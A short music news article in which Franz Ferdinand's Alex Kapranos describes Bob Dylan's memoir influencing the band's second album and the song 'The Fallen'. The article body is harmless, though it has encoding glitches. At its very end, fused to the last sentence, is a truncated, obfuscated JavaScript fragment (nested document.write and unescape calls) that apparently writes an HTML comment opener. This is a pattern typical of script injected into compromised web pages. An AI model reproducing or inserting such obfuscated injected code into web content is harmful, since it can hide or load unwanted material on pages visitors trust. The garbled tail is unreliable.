Franz Ferdinand turn to Bob Dylan

Franz Ferdinand have cited Bob Dylan as a influence on their forthcoming second album.

The band plan to release a similarly eponymous follow-up to their debut album, and frontman Alex Kapranos has admitted that the American troubadour has affected his way of songwriting.

"I was reading (Dylan's memoir) 'Chronicles', and he was talking about when he first came to the Bleecker Street scene in the early 60s, and how they would go through newspapers and pick a character and base a song upon that character and represent him as a hero," Kapranos told Rolling Stone. "'The Ballad Of Billy the Kid' is very much like that â€" In reality, Billy The Kid just stole, but in the song, he steals from the rich and gives to the poor. That's fantastic."

Inspired by Dylan's approach, Kapranos said he used the same tactics on new track 'The Fallen' to immortalise a friend in song.

"He did a few things that caused him to be almost a social outcast -- he'd fallen from grace,” said the Franzsinger. “He's a very enigmatic character."

Kapranos added that the band had enjoyed recording parts of the new album at home in Scotland.

"When I went back to Glasgow, it was almost like I hadn't been away," he explained. "I was going out to parties with pretty much the same set of people I was hanging out with before we went on tour, before the album came out, and they talked to me exactly the same way. It's not as if we decided to abandon our whole lives for some facile celebrity lifestyle."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;